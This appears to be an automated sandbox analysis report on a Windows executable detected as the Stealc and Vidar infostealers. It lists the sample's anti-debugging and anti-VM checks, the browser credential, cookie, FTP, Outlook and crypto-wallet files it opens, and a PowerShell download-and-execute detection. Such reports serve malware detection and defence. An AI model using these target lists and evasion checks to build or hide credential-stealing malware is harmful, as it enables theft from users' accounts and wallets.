Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007A16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007AF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_007B3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_007B38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_007B4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_007AED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007ADE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_007ADE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007A1160 GetSystemInfo,ExitProcess,

0_2_007A1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: FHCGHJDB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: FHCGHJDB.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: FHCGHJDB.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: FHCGHJDB.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: FHCGHJDB.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: FHCGHJDB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: FHCGHJDB.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: FHCGHJDB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: FHCGHJDB.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: FHCGHJDB.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: FHCGHJDB.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000002.2365598349.0000000001422000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: FHCGHJDB.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: FHCGHJDB.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: FHCGHJDB.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: FHCGHJDB.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaregyM
Source: FHCGHJDB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: FHCGHJDB.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: FHCGHJDB.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: FHCGHJDB.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: FHCGHJDB.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: FHCGHJDB.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: FHCGHJDB.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: FHCGHJDB.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: FHCGHJDB.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: FHCGHJDB.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: FHCGHJDB.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: FHCGHJDB.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: FHCGHJDB.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: FHCGHJDB.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: FHCGHJDB.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: FHCGHJDB.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-39741
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-39764
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-39756
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-39744
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-40931
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-39796

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6B5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007A45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_007A45C0

Source: C:\Users\user\Desktop\file.exe

0_2_007B9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B9750 mov eax, dword ptr fs:[00000030h]

0_2_007B9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_007B7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_6C68B66C

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1892, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_007B9600

Source: file.exe, file.exe, 00000000.00000002.2364905393.0000000000B8D000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ^%Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_007B7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_007B6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_007B7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007B7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_007B7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2092148553.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1892, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1892, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsont:i
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1892, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2092148553.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1892, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1892, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
